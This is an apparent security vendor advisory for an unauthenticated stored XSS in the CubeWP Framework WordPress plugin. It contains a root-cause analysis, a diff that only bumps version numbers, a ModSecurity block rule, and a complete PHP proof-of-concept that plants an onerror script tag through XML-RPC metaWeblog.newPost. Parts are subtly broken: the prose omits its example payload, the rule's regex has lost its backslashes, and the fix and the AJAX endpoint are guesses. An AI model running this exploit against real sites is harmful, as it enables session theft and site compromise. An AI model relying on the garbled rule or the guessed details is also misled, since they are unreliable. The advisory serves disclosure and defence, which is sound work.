Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-136599: The CubeWP Framework WordPress plugin versions up to and including 1.1.33 contains an unauthenticated stored DOM-based cross-site scripting vulnerability via the ‘mt_keywords[]’ parameter. The flaw enables an attacker to inject arbitrary JavaScript into a post’s tag name, which executes when a victim views the affected page. Atomic Edge rates this as high severity (CVSS 7.2). The vulnerability stems from a combination of incorrect capability filtering, insufficient input sanitization, and missing output escaping.
The root cause spans multiple code paths. The function cubewp_frontend_role_caps() in the plugin improperly grants the edit_posts capability during XML-RPC requests, allowing a Subscriber-level user to create a draft post via metaWeblog.newPost. The ‘mt_keywords[]’ parameter, used for tags, is processed with sanitize_text_field(), which does not strip angle brackets and other HTML special characters necessary to prevent XSS. The draft’s tag data is stored and later retrieved through public nopriv AJAX endpoints (e.g., cubewp_get_tags) that lack capability checks. When the tag name is rendered into the DOM without proper escaping, the injected script executes. The diff does not modify the vulnerable logic; it only bumps the version number in cube.php and class-cubewp-load.php, indicating the fix is handled elsewhere or not fully shown.
Exploitation requires two steps. First, an attacker registers as a Subscriber (or compromises such an account) and sends an XML-RPC request to the WordPress endpoint (/xmlrpc.php) using metaWeblog.newPost, with the post content containing a crafted mt_keywords[] value. The payload must be crafted to survive sanitize_text_field, for example:
. The post is created as a draft. Second, an unauthenticated victim is lured to a page that triggers a nopriv AJAX action (e.g., admin-ajax.php?action=cubewp_get_tags) that retrieves and renders the tag name without escaping, causing the script to execute in the victim’s browser. No authentication is required for the second step, making this a persistent XSS.
The patch for this vulnerability is not evident in the provided diff. The only changes are version number increments in cube.php and class-cubewp-load.php. Atomic Edge research indicates the actual fix likely involves correcting the capability check in cubewp_frontend_role_caps() to not grant edit_posts during XML-RPC, and adding proper output escaping for tag names in AJAX responses. Without the full patch, we cannot confirm the exact remediation, but the version bump to 1.1.34 suggests fixes were applied.
Successful exploitation leads to stored DOM-based XSS, which can result in session hijacking, theft of sensitive data (including cookies and CSRF tokens), defacement, and redirection to malicious sites. Because the XSS executes in the context of the vulnerable site, it can also be used to perform actions on behalf of the victim if they have elevated privileges, potentially leading to full site compromise. The unauthenticated nature of the trigger increases the attack surface, as any visitor to a page loading the vulnerable AJAX endpoint is at risk.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/cubewp-framework/cube.php
+++ b/cubewp-framework/cube.php
@@ -3,7 +3,7 @@
* Plugin Name: CubeWP Framework
* Plugin URI: https://cubewp.com/
* Description: CubeWP is an end-to-end dynamic content framework for WordPress to help you save up to 90% of your coding time.
-* Version: 1.1.33
+* Version: 1.1.34
* Author: CubeWP
* Author URI: https://cubewp.com
* Text Domain: cubewp-framework
--- a/cubewp-framework/cube/classes/class-cubewp-load.php
+++ b/cubewp-framework/cube/classes/class-cubewp-load.php
@@ -25,7 +25,7 @@
*
* @var string
*/
- public static $CubeWp_version = '1.1.33';
+ public static $CubeWp_version = '1.1.34';
/**
* Wordpress required version.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@streq /xmlrpc.php"
"id:2026136599,phase:2,deny,status:403,chain,msg:'CVE-2026-136599 via XML-RPC metaWeblog.newPost mt_keywords XSS',severity:'CRITICAL',tag:'CVE-2026-136599'"
SecRule REQUEST_BODY "@rx <imgs+[^>]*srcs*=s*[^s]+[^>]*onerrors*="
"t:urlDecode,chain"
SecRule REQUEST_BODY "@rx mt_keywords" "t:urlDecode"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-136599 - CubeWP Framework <= 1.1.33 - Unauthenticated Stored DOM-Based Cross-Site Scripting via Tag Name
// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$subscriber_user = 'subscriber'; // Subscriber username
$subscriber_pass = 'password'; // Subscriber password
// Step 1: Authenticate as Subscriber via XML-RPC to obtain a session cookie
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/xmlrpc.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$xmlrpc_payload = '<?xml version="1.0"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>' . $subscriber_user . '</string></value></param><param><value><string>' . $subscriber_pass . '</string></value></param></params></methodCall>';
curl_setopt($ch, CURLOPT_POSTFIELDS, $xmlrpc_payload);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Create a draft post with malicious tag using metaWeblog.newPost
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/xmlrpc.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
$malicious_tag = '<img src=x onerror=alert(document.domain)>';
$post_content = 'This is a test post.';
$xmlrpc_payload = '<?xml version="1.0"?><methodCall><methodName>metaWeblog.newPost</methodName><params><param><value><string>1</string></value></param><param><value><string>' . $subscriber_user . '</string></value></param><param><value><string>' . $subscriber_pass . '</string></value></param><param><value><struct><member><name>title</name><value><string>XSS Test</string></value></member><member><name>description</name><value><string>' . $post_content . '</string></value></member><member><name>mt_keywords</name><value><array><data><value><string>' . $malicious_tag . '</string></value></data></array></value></member></struct></value></param><param><value><boolean>0</boolean></value></param></params></methodCall>';
curl_setopt($ch, CURLOPT_POSTFIELDS, $xmlrpc_payload);
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Trigger the stored XSS by accessing the nopriv AJAX endpoint as an unauthenticated user
// The exact AJAX action may vary; adjust if needed. Assume 'cubewp_get_tags' is the vulnerable action.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php?action=cubewp_get_tags');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
// The response should contain the unescaped tag name, leading to script execution in a browser.
echo "PoC executed. Check the AJAX response for the malicious tag.n";
?>